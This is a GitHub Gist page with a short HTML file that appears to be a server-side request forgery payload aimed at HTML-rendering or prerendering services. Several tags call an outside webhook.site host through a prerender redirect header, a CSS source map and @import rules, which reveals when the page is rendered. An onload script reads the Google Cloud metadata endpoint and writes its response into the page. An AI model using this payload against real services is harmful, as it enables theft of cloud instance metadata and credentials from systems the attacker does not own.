Last active
February 1, 2023 18:40
-
-
Save MikeeI/122efc4f8de66db040a1ad6407e2b1e1 to your computer and use it in GitHub Desktop.
index_js.html
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta name="prerender-header" content="Location: https://webhook.site/c97f0bd7-5b1b-482c-9d4d-341edf10ab76" /> | |
<style> | |
/*# sourceMappingURL=https://webhook.site/c97f0bd7-5b1b-482c-9d4d-341edf10ab76?source */ | |
</style> | |
<style> | |
@import 'https://webhook.site/c97f0bd7-5b1b-482c-9d4d-341edf10ab76?import'; | |
@import url(https://webhook.site/c97f0bd7-5b1b-482c-9d4d-341edf10ab76?importurl); | |
</style> | |
<script type="text/javascript"> | |
function loadfunction() { | |
url = "http://metadata.google.internal/computeMetadata/v1/"; | |
var req = new XMLHttpRequest(); | |
req.open('GET', url, false); | |
req.setRequestHeader('X-Google-Metadata-Request', 'True'); | |
req.send(null); | |
if(req.status == 200) | |
output = req.responseText; | |
else | |
output = '[failed status=' + req.status + ']'; | |
document.getElementById("p2").innerHTML = output; | |
document.getElementById("p1").innerHTML = window.navigator.userAgent; | |
} | |
window.onload = loadfunction; | |
</script> | |
</head> | |
<body> | |
<p id="p1">Output</p> | |
<p id="p2">Output</p> | |
<p>Object with file uri</p> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment